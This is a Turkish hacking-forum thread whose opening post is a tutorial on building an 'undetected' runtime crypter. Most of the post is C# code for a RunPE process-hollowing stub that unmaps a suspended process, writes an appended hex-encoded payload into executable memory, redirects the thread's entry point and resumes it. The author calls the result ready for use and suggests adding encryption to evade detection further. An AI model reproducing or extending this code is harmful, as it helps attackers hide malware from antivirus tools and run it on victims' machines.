İPUCU

Undetected Crypter, HEX kodlama ile ilgili konular

Seçenekler

-Crypter Nedir Ne İşe Yarar? -

21-05-2017 12:06
#1
VITALLION - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
04/2013
Yaş:
22
Mesajlar:
11.032
Teşekkür (Etti):
4388
Teşekkür (Aldı):
5497
Konular:
1200
Crypter Nedir?

Crypter, temel olarak şifreleyici anlamına gelmektedir ve programları şifreleme görevini üstlenirler. Genel olarak kullanım amaçları yazılmış olan bir programın decompile edilmesini önlemek, yada yazılımın başka yazılımlar ve insanlar tarafından tespit edilmesini önlemektir.
Crypterlar 2 parçadan oluşurlar;
  • Client
  • Stub
Client

Client, şifrelenecek olan yazılımı stub içerisine enjekte ederek, yazılımın bu stub üzerinde çalışmasını sağlar.
Stub
Kelime anlamı olarak maske demektir. Şifrelenecek olan yazılımı sararak gizler. Çalıştırıldığında zararlı yazılımı memorye yükler.
Crypterlar çalışma şekillerine göre ikiye ayrılırlar;
  • Scantime Crypter
  • Runtime Crypter
Scantime Crypter

Bu tarz crypter ile şifrelenen yazılımlar, stub çalıştığı anda önceden belirlenmiş bir dizine çıkartılırlar. Bu yöntemde, stub çalışmadan önce yazılım tespit edilemez. Fakat stub çalıştıktan sonra yazılım export edileceğinden ilgili dizin kontrol edildiğinde tespit edilebilmektedir.
Runtime Crypter

Bu yöntem ile şifrelenen yazılım herhangi bir dizine çıkarılmadan direkt olarak memorye yüklenir ve çalıştırılır. Bu şekilde şifrelenen bir yazılımın ilkel yöntemlerde tespit edilmesi imkansızdır. Memory analizi ve dinamik analiz yapılması gerekir. Bu dokümanda Runtime Crypter yapımı anlatılacaktır.
Runtime crypterların en önemli kısmı RunPE (hafızadan process çalıştırma) modülüdür. Bu modül yazılımımız için memory al******** işlemlerini yapacak ve yazılımı bu alana map edecektir. Windows platformlarda bu işlemler kernel32.dll ve ntdll.dll modülleri ile yapılmaktadır. Öncelikli olarak bu modüllerde kullanmış olduğumuz fonksiyonları inceleyelim.
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll", CharSet = CharSet.Unicode)]private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref hesap.STARTUP_INFORMATION startupInfo, ref hesap.PROCESS_INFORMATION processInformation);
SuppressUnmanagedCodeSecurity : CLR (Common Language Runtime) çalışırken bir takım güvenlik prosedürleri çalıştırır. Bu prosedürler unmanaged kodun çalışması sırasında kısıtlamalar getirir. Kernel32 fonksiyonunu çağırmadan önce bu attribute’u eklediğimizde güvenlik prosedürleri baskılanarak kodun çalışması sağlanır.
CreateProcess : Parametre olarak application name ve command line stringlerini alır. Sonraki iki parametre process ve thread security attribute’larıdır.Oluşacak childların erişimini belirler. Beşinci parametre oluşan yeni prosesin prosesi oluşturan prosesden kalıtım(inherit) yapıp yapamayacağını belirler. Daha sonra creationFlag yani oluşacak yeni prosesin hangi modda oluşacağını belirleyen parametre yer alır. Sonraki iki parametre prosesin çalışacağı environment bilgileri ve dizin bilgileri belirtir. Son iki parametre ise startup ve proses bilgilerini barındırır.
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern bool GetThreadContext(IntPtr thread, int[] context);[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
GetThreadContext : Birinci parametrede verilen threadin context’ini, ikinci parametrede verilen array’e kaydeder.
Wow64GetThreadContext : GetThreadContext fonksiyonunun 64 bit versiyonudur.
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern bool SetThreadContext(IntPtr thread, int[] context);[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
SetThreadContext : İkinci parametrede verilen byte arrayı, ilk parametrede verilen threadin contexti olarak atar.
Wow64SetThreadContext : SetThreadContext fonksiyonunun 64 bit versiyonudur.
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
ReadProcessMemory : İlk parametre olarak aldığı prosese ait memorynin ikinci parametrede aldığı adresden itibaren dördüncü parametre kadar alanı okur okunan bufferı üçüncü parametreye okunan byte sayısını beşinci parametreye aktarır.
WriteProcessMemory : İlk parametre olarak aldığı prosese ait memorynin ikinci parametrede aldığı adresinden itibaren üçüncü parametredeki verileri dördüncü parametre kadarlık alana yazar beşinci parametreye kaç byte yazdığını döndürür.
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("ntdll.dll")]private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
NtUnmapViewOfSection : Ntdll.dll modülünün içinde bulunur. Prosese ait view alanını boşaltır.
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
VirtualAllocEx : Belirtilen işleme sanal bellek alanı tahsis edilir. İlk parametre prosesi, ikinci parametre tahsis edilecek memory’nin adresini (Boş bırakılırsa uygun bir adres sistem tarafından belirlenir.), üçüncü parametre kaç byte’lık alanın tahsis edileceğini, dördüncü parametre memory al******** tipini (mem_commit | mem_reserved), beşinci parametre memory erişim iznini belirler (execute, read, write).
Alıntı:
[SuppressUnmanagedCodeSecurity][DllImport("kernel32.dll")]private static extern int ResumeThread(IntPtr handle);
ResumeThread : Askıya alınmış olan thread tekrardan aktif hale getirilir.
API fonksiyonlarını classımızın en başında tanımlıyoruz. Daha sonra HandleRun adında bir method oluşturuyoruz. Yapmamız gereken ilk iş bir proses oluşturmak. Prosesi oluşturduktan sonra payloadımızda bazı headerları kontrol etmemiz gerekiyor. Bunun için öncelikle Microsoft PE (Portable Executable) dosya yapısını inceleyelim.
Microsoft PE Dosya Yapısı
DOS HeaderPE SignatureCOFF HeaderOptional HeaderSection TableMappable Sections
MZ header olarakda geçmektedir. İlk iki byte MZ karakterleridir ve Microsoft executable mimarisini oluşturan Mark Zbikowski’nin adından gelmektedir. Bütün dosya formatlarında ilk bytelar signature yada magic number olarak adlandırılan formatı belirleyen bytelardır. Bu header içerisinde bulunan değerlerin birçoğu günümüz mimarisinde kullanılmamaktadır. Fakat eski programların çalışabilmesi için ve yeni bir mimarinin çok maliyetli olmasından dolayı Dos Header hala bulunmaktadır. Ayrıca içerisindeki minalloc maxalloc parametreleri minimum ve maksimum memory tahsis miktarının belirler. Bu headerın son 4 byte’ı olan e_lfanew PE headerın başlangıç offsetini gösterir. PE headerın devamında COFF (Common Object File Format) Header bulunmaktadır.Dos Header

PE/COFF Header
PE header sadece 4 bytelık bir veri içerdiğidinden COFF header ile birlikte ele alınırlar. PE header “PE\0\0” degerini barındırır. Hemen ardından COFF header bölümü başlar ve içerisindeki değerler sırasıyla şu şekildedir: 2 byte Machine, 2 byte NumberOfSections, 4 byte TimeDateStamp, 4 byte PointerToSymbolTable, 4 byte NumberOfSymbols, 2 byte SizeOfOptionalHeader , 2 byte Characteristics.
Machine : Dosyanın derlendiği mimariyi belirtir.
NumberOfSections : Bölüm sayısını belirtir.
TimeDateStamp : Dosyanın derlendiği tarih ve saati belirtir.
PointerToSymbolTable : Sembol tablosunu gösterir.
NumberOfSymbols : Sembol tablosundaki sembol sayısını verir.
SizeOfOptionalHeader : PE Optional Header boyutunu belirtir.
Characteristics : Dosyanın exe, dll, çalışma zamanı özellikleri ile bilgileri içerir.
PE Optional Header
İsminde optional geçse de özü itibariyle opsiyonel değildir. PE dosyasının olmazsa olmazlarındandır. Lakin COFF içerisinde değildir. İçerisinde işletim sistemi versiyonundan kod boyutuna kadar birçok bilgi barındırır. Biz burada hepsini değil sadece işimize yarayacak olan değerleri açıklayacağız.
ImageBase : Proses hafızaya yüklendiğinde ilk byte’ın tercih edilen adresini belirtir.
AddressofEntryPoint : Programın başlangıç noktasını belirtir. Bu nokta aynı zamanda .text section’nı işaret eder.
SizeofImage : Binary dosyayının boyutunu belirtir.
SizeofHeaders : Headerların toplam boyutunu verir.
Section Table
Bölüm başlıkları PE dosyasının bölümlerine ilişkin bilgileri tutmaktadır. Bölümlerin isimleri, nereden başladıkları, ne uzunlukta oldukları gibi bilgiler bölüm başlıklarında bulunurlar. Bölüm tablosu hemen PE Optional Header’dan sonra gelmektedir. Çalıştırılabilen PE dosyalarında bölümlerin RVA'ları bağlayıcılar tarafından PE dosyası içerisine küçükten büyüğe doğru ve ardışıl olarak yerleştirilirler. Bölüm başlıkları 40 byte uzunluğunda olan IMAGE_SECTION_HEADER yapısıyla temsil edilmektedir. Başlıca birkaç section şöyledir:
.text : Programın kod kısmıdır.
.data : Global değişkenler tutulur.
.bss : Initialize edilmemiş değişkenler tutulur.
.idata : Import, export tablosu tutulur.
.rsrc : Resim vb. kaynaklar tutulur.
.reloc : Re******** verisi tutulur.
Devamında Sectionlar bulunmaktadır. Şimdilik bu kadar teorik bilginin yeterli olduğunu düşünüyorum artık uygulamaya geçebiliriz.
Öncelikle payloadımızın e_lfanew değerini kontrol ederek PE headerın başlangıç değerini buluyoruz. Bu değeri diğer bütün header bilgilerini bulurken referans olarak kullanacağız. İlerde kullanmak üzere ImageBase değerini de şimdiden çekiyoruz.
Alıntı:
int num2 = BitConverter.ToInt32(data, 60);// PE HEADER pointerint num3 = BitConverter.ToInt32(data, num2 + 52);//ImageBase
Prosesin birincil thread’inin içeriğini okuyoruz. Bu içeriğin 41. byte bize thread’in stack pointerını, 44. byte program counterı vermektedir. Birincil thread de doğrudan bizim payloadı çalıştıracağından bu değerleri daha sonra değiştireceğiz.
Alıntı:
if (IntPtr.Size == 4){ if (!hesap.GetThreadContext(pROCESS_INFORMATION.Threa dHandle, array)) { throw new Exception(); }}else if (!hesap.Wow64GetThreadContext(pROCESS_INFORMATION. ThreadHandle, array)){ throw new Exception();}
Thread’in stack pointerından stack’in adresini okuyoruz. Bu okuduğumuz adres stub’ın adresi olmakla beraber eğer payload’ın ImageBase’i ile çakışıyorsa stub’ın hafıza alanını boşaltıyoruz.
Alıntı:
if (!hesap.ReadProcessMemory(pROCESS_INFORMATION.Proc essHandle,num4+8,ref num5, 4, ref num)){ throw new Exception();} if (num3 == num5){ if(hesap.NtUnmapViewOfSection(pROCESS_INFORMATION. ProcessHandle, num5) != 0) { throw new Exception(); }}
Daha sonra payloadın SizeofImage değerini ve SizeofHeaders değerini öğrenerek payloadın boyutu kadar sanal bellek alanı oluşturuyoruz. Ardından header bilgilerini doğrudan bu alana yazıyoruz.
Alıntı:
int length = BitConverter.ToInt32(data, num2 + 80); //SizeofImageint bufferSize = BitConverter.ToInt32(data, num2 + 84);//SizeofHeaders int num6 = hesap.VirtualAllocEx(pROCESS_INFORMATION.ProcessHa ndle, num3, length, 12288, 64);if (!compatible && num6 == 0){ flag = true; num6 = hesap.VirtualAllocEx(pROCESS_INFORMATION.ProcessHa ndle, 0, length, 12288, 64);}if (num6 == 0){ throw new Exception();}if (!hesap.WriteProcessMemory(pROCESS_INFORMATION.Pro cessHandle, num6, data, bufferSize, ref num)){ throw new Exception();}
Header bilgilerini yazdıktan sonra sıra sectionları yazmaya geldi bunun için öncelikle section tablosunun başlangıç offsetini ve kaç adet section olduğunu öğreniyoruz. Ardından her sectionı sırayla sanal bellek alanına ekliyoruz.
Alıntı:
int num7 = num2 + 248;//Section table başlangıç offsetishort num8 = BitConverter.ToInt16(data, num2 + 6);//NumberofSectionfor (int i = 0; i <= (int)(num8 - 1); i++){ int num9 = BitConverter.ToInt32(data, num7 + 12);//Section Virtual Address int num10 = BitConverter.ToInt32(data, num7 + 16);//Section Raw Size int srcOffset = BitConverter.ToInt32(data, num7 + 20);//Section Raw Address if (num10 != 0) { byte[] array2 = new byte[num10]; Buffer.BlockCopy(data, srcOffset, array2, 0, array2.Length); if (!hesap.WriteProcessMemory(pROCESS_INFORMATION.Pro cessHandle, num6 + num9, array2, array2.Length, ref num)) { throw new Exception(); } }num7 += 40;}
Oluşturulan sanal belleği fiziksel belleğe kopyalıyoruz ve payloadın AddressofEntryPoint adresini birincil thread’in program counterına atıyoruz.
Alıntı:
byte[] bytes = BitConverter.GetBytes(num6);if (!hesap.WriteProcessMemory(pROCESS_INFORMATION.Pro cessHandle, num4 + 8, bytes, 4, ref num)){ throw new Exception();}int num11 = BitConverter.ToInt32(data, num2 + 40); //AddressofEntryPointif (flag){ num6 = num3;}array[44] = num6 + num11;if (IntPtr.Size == 4){ if (!hesap.SetThreadContext(pROCESS_INFORMATION.Threa dHandle, array)) { throw new Exception(); }}else if (!hesap.Wow64SetThreadContext(pROCESS_INFORMATION. ThreadHandle, array)){ throw new Exception();}
İlk başta suspend modda açmış olduğumuz prosesi aktif hale getiriyoruz ve çalışmasına devam etmesini sağlıyoruz.
Alıntı:
if (hesap.ResumeThread(pROCESS_INFORMATION.ThreadHand le) == -1){ throw new Exception();}
Herhangi bir hata oluşursa programın sonlandırılması için try/catch bloğu içine alıyoruz ve programı sonlandırıyoruz.
Alıntı:
Process processById = Process.GetProcessById(Convert.ToInt32(pROCESS_INF ORMATION.ProcessId) ); if (processById != null){ processById.Kill();}
Oluşturacak olduğumuz crypterın RunPE kodları bu kadar. Payload da stub’ın kendi üzerinde bulunacağından küçük bir binary parser da eklememiz gerecek.
Alıntı:
static **** Main(){ string owntext = File.ReadAllText(System.Reflection.Assembly.GetEnt ryAssembly().********); string[] ayrac = { "..OO.PP.SS.." }; string[] payloadRes = owntext.Split(ayrac, StringSplitOptions.None); byte[] payload = StringToByteArray(payloadRes[1]); for (int i = 1; i <= 5; i++) { if (hesap.HandleRun ( System.Reflection.Assembly.GetEntryAssembly().**** ****, "", payload, false)) { break; } }}public static byte[] StringToByteArray(String hex){ int NumberChars = hex.Length; byte[] bytes = new byte[NumberChars / 2]; for (int i = 0; i < NumberChars; i += 2) bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); return bytes;}
Kısaca bu kodu da açıklamak gerekirse öncelikle program kendi kendisini okuyor. Daha sonra okunan bu stringi ayraç olarak belirlenen karakter dizisinden itibaren ayırıyoruz. Elde ettiğimiz stringi byte’a dönüştürdükten sonra RunPE kodumuzu yazarken tanımladığımız HandleRun fonksiyonuna programın kendisi ile birlikte parametre olarak veriyoruz.
Bütün bu işlemleri yaptıktan sonra crypterımız kullanıma hazır. İsterseniz daha da geliştirmek için encryption,encoding gibi özellikler ekleyebilirsiniz. Stubın üzerine payloadı isterseniz herhangi bir hex editör yardımı ile elle ekleyebilir, isterseniz bunu sizin yerinize yapan bir Client programını yazabilirsiniz.

alıntıdır
Kullanıcı İmzası


https://resmim.net/f/VKpwx0.png

ƬHΣ GHΘЅƬLΨ , ƁLΔCƘ ΔΓΜΘƱΓΣD CΣƬƱΓIΘ


solidstar@thtmoderasyon.com


- SolidStar -

23-05-2017 18:33
#2
Baysal - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
10/2012
Mesajlar:
14.990
Teşekkür (Etti):
545
Teşekkür (Aldı):
3518
Konular:
751
Konu Onaylanmıştır.
Kullanıcı İmzası
Ayağın topal olsun, yüreğin olmasın lenk !

Akıl Erdem Bilgi
VITALLION Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı